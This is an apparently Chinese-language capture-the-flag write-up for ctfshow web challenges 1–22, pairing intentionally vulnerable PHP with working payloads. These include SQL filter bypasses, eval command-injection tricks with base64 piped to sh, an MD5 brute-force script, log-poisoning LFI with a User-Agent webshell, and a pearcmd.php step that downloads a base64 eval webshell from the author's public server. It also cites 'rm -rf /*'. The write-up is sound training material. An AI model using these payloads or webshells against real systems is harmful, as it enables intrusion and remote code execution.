不是很难。一个是为了刷分,再一个是为了巩固php基础知识,自己又温习了一遍感觉还是能学到很多。
web1
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>

web2
对比web1多了一行判断:
if(preg_match("/or|\+/i",$id)){
die("id error");
}
对payload无影响,同上。
web3
扩充了web2的黑名单:
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
这次从sql语句下手:

web4
同上
web5
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
||和or被过滤掉惹,十六进制也没法用,想到1000取反两次还是1000:
<?php $a = 1000; $b = ~~$a; var_dump($b); //结果:int(1000) ?>
web6
同上
web7
这次过滤了~,转为二进制即可。

web8
这题无意义的T T说是梗题,看了wp:rm -rf /*
web9
到了最喜欢的命令执行的阶段了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
?c=system("strings config.php");
flag在源代码里。
web10
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
上题是允许匹配,这题是不允许匹配0.0但是过滤的一点都不严嘿嘿。
echo `ls`;show_source("config.php");
web11
同上。
web12
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里使用同样能执行外部系统命令的passthru()。既然“config”不让写全,用通配符代替就行。
echo passthru("strings con*");
web13
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这回不让输入分号有点难受。。需要使用?>闭合语句。
echo passthru("strings con*")?>
web14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这次过滤了左括号。分号和上题一样使用?>代替。
echo `ls`?>echo `strings con*`?>
web15
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这次过滤了?、<等对其非常不利的符号(笑。但是没有过滤分号,给了我可乘之机。命令可以用base64编码的形式代替,还需要注意过滤了=,因此我编码了strings con*。
echo `ls`;echo `echo c3RyaW5ncyBjb24q|base64 -d|sh`;
web16
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>
爆破:
import hashlib
import string
dic = string.printable
for i in dic:
for j in dic:
for q in dic:
a = "ctfshow"+i+j+q
md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
if (md5=="a6f57ae38a22448c2f07f3f95f49c84e"):
print("c = "+i+j+q)
运行得36d
web17
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
伪协议。因为不允许输入包含php字样的内容,考虑data+base64但是行不通。
这题同[CTF.SHOW]web4 可以包含nginx日志:
把马写UA中就行:

再次包含/var/log/nginx/access.log,成功执行phpinfo,说明?写进去了。show_source("36d.php");看到flag。
web18-21
同上。
web22
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
这里涉及到一个知识点:PHP参数处理函数register_argc_argv
如果您想声明变量
$argc和$argv和模仿这种功能,使用register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数。⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off
举个例子:
<?php error_reporting(0); $a=$_SERVER['argv']; var_dump($a); ?>


可见,如果正常传入参数,数组的大小永远是1,要表示两个数组,需要用+隔开。
该题的做法是“下载一个档案文件(php文件)并使用lfi”。pear是PHP的扩展和应用程序库,包含了很多有用的类,其中pearcmd.php支持下载功能。
pearcmd.php download 路径
我开了个公网服务器:
echo "PD9waHAgQGV2YWwoJF9HRVRbJ3NoYXcnXSk7Pz4="|base64 -d > shaw.phppython3 -m http.server 8004
让题目去下载shaw.php,因为$c尾巴自动加上“php”了,直接写pearcmd就好:
?c=pearcmd&+download+http://ip/shaw.php
提示下载失败,但是访问是可以执行命令的:

⚪ 参考: